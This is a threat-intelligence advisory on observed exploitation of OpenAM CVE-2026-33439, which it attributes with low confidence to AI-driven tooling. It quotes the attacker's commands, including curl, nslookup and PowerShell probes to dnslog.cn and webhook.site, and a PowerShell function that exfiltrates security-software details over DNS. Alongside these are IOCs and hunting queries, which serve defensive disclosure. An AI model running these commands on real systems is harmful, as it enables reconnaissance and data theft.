CAA-2026-0026 Observed Exploitation of OpenAM CVE-2026-33439

This report is distributed as **TLP:CLEAR**. Recipients may share this information without restriction. Information is subject to standard copyright rules.

Disclaimer | CyberAlberta

Summary

On 9 November 2026, CyberAlberta Threat Intelligence identified exploitation of CVE-2026-33439 against a vulnerable Open Identity Platform OpenAM server—an open-source access management platform.

Details

CVE-2026-33439 is a critical pre-authentication remote code execution (RCE) vulnerability in OpenAM versions prior to 16.0.6. Code execution is achieved through the unsafe deserialization of the `jato.clientSession` HTTP parameter.[1] Exploitation of CVE-2026-33439 relies on pages that contain `<jato:form>` tags, including the unauthenticated pages `/ui/PWResetUserValidation` and `/ui/PWResetQuestion`. As of 13 November 2026, this CVE is not listed in Known Exploited Vulnerability (KEV) databases maintained by CISA, EUVD, or VulnCheck.

Initial Access

Analysts observed `204.76.203[.]204` (AS51396, Pfcloud UG) exploiting CVE-2026-33439 against a vulnerable OpenAM server. The threat actor sent both `GET` and `POST` requests to the `/OpenAM/ui/PWResetUserValidation` endpoint to deliver malicious payloads in the `jato.clientSession` parameter.

Capability and Exfiltration Channel Testing

The threat actor executed a series of commands to test the host's ability to make outbound DNS and HTTPS requests (Figure 1). This also included testing both Windows and Linux utilities, indicating the actor was likely unaware of the underlying operating system. The `dnslog[.]cn` and `webhook[.]site` services are free online logging tools for DNS queries and HTTP requests, respectively. Afterwards, the threat actor tested file upload capabilities (Figure 2), likely as a precursor to web shell deployment, and obtained the server's hostname and username (Figure 3).

```
sh getent hosts [REDACTED].dnslog[.]cn||nslookup [REDACTED].dnslog[.]cn||curl -s -
m3 http[:]//[REDACTED].dnslog[.]cn

cmd.exe /c "powershell -NoP -c "try{(New-Object
Net.WebClient).DownloadString('http[:]//[REDACTED].webhook[.]site/?probe=ps')}catc
h{}""

cmd.exe /c "curl.exe -s -m 6 "http[:]//[REDACTED].webhook[.]site/?probe=curl""
```

Figure 1. Commands Testing Outbound DNS and HTTPS Requests

[1] https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj

```
sh -c 'd=$(find / -maxdepth 8 -type f -path "*/XUI/index.html" 2>/dev/null|head -
1); [ -n "$d" ] && echo PWNED>"$(dirname "$d")/pwn.txt"'
```

Figure 2. Command Attempting File Enumeration then Writing

```
cmd.exe /c "nslookup %USERNAME%.[REDACTED].dnslog[.]cn & nslookup
%COMPUTERNAME%.[REDACTED].dnslog[.]cn"
```

Figure 3. Command Exfiltrating Host Identifiers Over DNS

Security Software Discovery

The threat actor used a series of Base64-encoded PowerShell scripts to enumerate the system's security configuration (Figure 5). Each script embeds the same `Send` function to exfiltrate the response over DNS queries with encoded subdomains (Figure 4). At least 15 of the 60 total payloads attempted to identify 49 different security software products and their configurations. However, the threat actor did not tamper with any existing security products.

The rate of command execution resembled hands-on-keyboard activity, with each subsequent payload changing according to the results of the previous script. The script adaptations also occasionally included debugging attempts (Figure 6). The average time between each script revision was approximately 15 seconds, sometimes as quick as one second. It is unlikely that a human operator alone could review the communicated results, troubleshoot problems, implement a working solution, serialize the script, and send the new payload in this short timeframe.

```
$d='[REDACTED].dnslog[.]cn'
function Send($label){
  $l = ($label -replace '[^A-Za-z0-9]','-').toLower()
  if($l.Length -gt 50){ $l=$l.Substring(0,50) }
  if($l.Length -gt 0){ try{ [System.Net.Dns]::GetHostAddresses($l + '.' + $d) |
Out-Null }catch{} }
}
```

Figure 4. DNS Exfiltration Function

```
$i=0
try{ Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct |
ForEach-Object { $i++; Send ("av$i-" + $_.displayName) } }catch{ Send "av-none" }
try{ Send ("defender-" + (Get-MpComputerStatus).AntivirusEnabled) }catch{ Send
"defender-none" }
try{ Send ("amtsoff-" + ((Get-MpPreference).DisableRealtimeMonitoring)) }catch{}
$i=0
try{ Get-Service | Where-Object { $_.DisplayName -match
'CrowdStrike|Falcon|Sentinel|Carbon|…' } | ForEach-Object { $i++; Send ("s$i-" +
$_.Name) } }catch{}
$i=0
try{ Get-Process | Where-Object { $_.ProcessName -match
'CrowdStrike|Falcon|Sentinel|Carbon|…' } | ForEach-Object { $i++; Send ("p$i-" +
$_.ProcessName) } }catch{}
$i=0
try{ Get-CimInstance -ClassName Win32_SystemDriver | Where-Object { $_.Name -match
'CrowdStrike|Falcon|Sentinel|Carbon|…' } | ForEach-Object { $i++; Send ("d$i-" +
$_.Name) } }catch{}
try{ Send ("sysmon-" + (Get-Service Sysmon -ErrorAction Stop).Status) }catch{ Send
"sysmon-none" }
try{ $f = (& fltmc filters) -join '|'; ($f -split '\|') | ForEach-Object { if($_ -
match '\S'){ Send ("f-" + $_) } } }catch{ Send "fltmc-fail" }
```

```
try{ Send ("pslog-" + (Get-ItemProperty
'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -
ErrorAction Stop).EnableScriptBlockLogging) }catch{ Send "pslog-none" }
try{ Send ("transcript-" + (Get-ItemProperty
'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction
Stop).EnableTranscripting) }catch{ Send "transcript-none" }
try{ Send ("saclient-" + (Get-ItemProperty
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -ErrorAction
Stop).EnableLUA) }catch{}
Send "done"
```

Figure 5. Snippet of Payload Performing Security Software Detection

```
Send 'zz1'
Send 'zz2'
Send 'zz3'
```

Figure 6. DNS Exfiltration Channel Debugging Using Static Values

Assessment

CyberAlberta Threat Intelligence assesses with low confidence that the threat actor likely used Artificial Intelligence (AI)-driven tooling to conduct the attack. This is evidenced by the approximate 15 second delay between payload iterations, where subsequent payloads appear to be generated in response to specific findings or errors.

Recommendations

To defend against exploitation of the reported vulnerability, it is recommended to:

- Identify and update OpenAM assets running a version lower than 16.0.6. If patching is not possible, consider restricting access to trusted systems, and conduct a risk assessment.
- Conduct threat hunting using the IOCs and detections provided below.
- Report any malicious activity to CyberAlberta and the Canadian Centre for Cybersecurity (CCCS).[2][3]

Indicators of Compromise (IOCs)

The following IOCs characterize the observed CVE-2026-33439 exploitation activity described in this report.

Description	Indicator
File name	`pwn.txt`
IP Address	`204.76.203[.]204`
Domain, Webhook Service	`[UUID].webhook[.]site`
Domain, DNSLog Service	`[ENCODED-TEXT].[RANDOM-CHARS].dnslog[.]cn`

Table 1. Observed Indicators of Compromise

[2] https://cyberalberta.ca/report-a-cyber-incident
[3] https://www.cyber.gc.ca/en/incident-management

Hunting Queries

The following Microsoft Defender KQL and Splunk queries can detect the exploitation activity described in this report:

```
let ContainerBinaries = dynamic([
    "tomcat.exe","tomcat9.exe","tomcat10.exe","tomcat11.exe",
    "prunsrv.exe","jbosssvc.exe",
    "beasvc.exe","wlsvc.exe","wlsvcx64.exe",
    "WASService.exe",
    "w3wp.exe",
    "httpd.exe"
]);
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where InitiatingProcessParentFileName in~ (ContainerBinaries)
```

Figure 7. KQL Query for Identifying Anomalous Process Spawning PowerShell

```
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| extend B64 = trim(" ", extract(@"(?i)\s-e(?:nc(?:odedcommand)?)?\s+['""]?([A-Za-
z0-9+/=]{16,})", 1, ProcessCommandLine))
| where isnotempty(B64)
| extend Decoded = replace_regex(base64_decode_tostring(B64), @"\x00", "")
| where Decoded contains "dnslog.cn"
| extend SHA256 = hash_sha256(Decoded)
| project TimeGenerated, DeviceId, SHA256, Decoded, ProcessCommandLine
```

Figure 8. KQL Query for Identifying Anomalous PowerShell Command

```
index=* tag=web http_method=GET uri_path IN ("/ui/PWResetUserValidation",
"/ui/PWResetQuestion") uri_query="*jato.clientSession*"
| table _time, src, dest, http_method, uri_path, uri_query, status
| sort 0 _time
```

Figure 9. Splunk Query for Identifying Requests Exploiting CVE-2026-33439

MITRE ATT&CK

The following table maps tactics, techniques, and procedures (TTPs) described in this report to the MITRE ATT&CK Framework.

Tactic	Technique	Observable
Initial Access	T1190: Exploit Public Facing Application	Exploiting an OpenAM server vulnerability, CVE-2026-33439
Execution	T1059.001: PowerShell	Executing Base64-encoded PowerShell commands
	T1059.003: Windows Command Shell	Executing `cmd.exe` with `nslookup`, `ping`, `curl`, `whoami`, `hostname`, and `getent`
	T1059.004: Unix Shell	Executing `/bin/sh` with `whoami`, `getent`, `nslookup`, and `curl`

Discovery	T1518.001: Security Software Discovery	Detecting antivirus and EDR software via PowerShell scripts
	T1012: Query Registry	Querying registry keys related to antivirus and EDR software
	T1654: Log Discovery	Reading `nxlog` configuration data, extracting `Host`, `IP`, or `URL` of SIEM
	T1083: File and Directory Discovery	Enumerating host directories for the location of `XUI/index.html`
	T1033: System Owner/User Discovery	User discovery via `whoami` and `hostname` commands
	T1652: Device Driver Discovery	Enumerating device drivers of antivirus and EDR software via `Get-CimInstance -ClassName Win32_SystemDriver`
	T1016.001: Internet Connection Discovery	Tested outbound connection abilities using `webhook[.]site`
Exfiltration	T1048.003: Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	Exfiltrating data using DNS queries with encoded subdomains to `dnslog[.]cn`

Table 2. Observed Exploitation TTPs